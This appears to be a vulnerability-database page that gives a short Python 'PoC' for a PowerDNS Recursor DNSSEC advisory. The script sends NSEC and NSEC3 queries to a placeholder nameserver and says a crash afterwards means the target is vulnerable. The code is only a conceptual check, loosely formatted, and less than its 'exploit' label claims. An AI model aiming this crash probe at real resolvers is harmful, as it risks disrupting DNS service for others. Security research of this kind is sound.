PowerDNS Recursor 4.x (Specific versions affected by advisory 2026-03)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import dns.resolver
import dns.message
import socket
# This script is a conceptual PoC to check for NSEC/NSEC3 handling.
# Exploiting CVE-2026-33261 requires the target zone to be in a specific transition state.
def check_dnssec_transition(target_domain, nameserver):
try:
# Query for NSEC record
q_nsec = dns.message.make_query(target_domain, 'NSEC')
r_nsec = dns.query.udp(q_nsec, nameserver)
print(f"[+] NSEC Query response: {r_nsec.flags}")
# Query for NSEC3 record
q_nsec3 = dns.message.make_query(target_domain, 'NSEC3')
r_nsec3 = dns.query.udp(q_nsec3, nameserver)
print(f"[+] NSEC3 Query response: {r_nsec3.flags}")
print("[!] If the service crashes after these queries against a transitioning zone, it is vulnerable.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
# Replace with actual target IP and a domain known to be transitioning
target_ip = "192.168.1.1"
domain = "example.com"
check_dnssec_transition(domain, target_ip)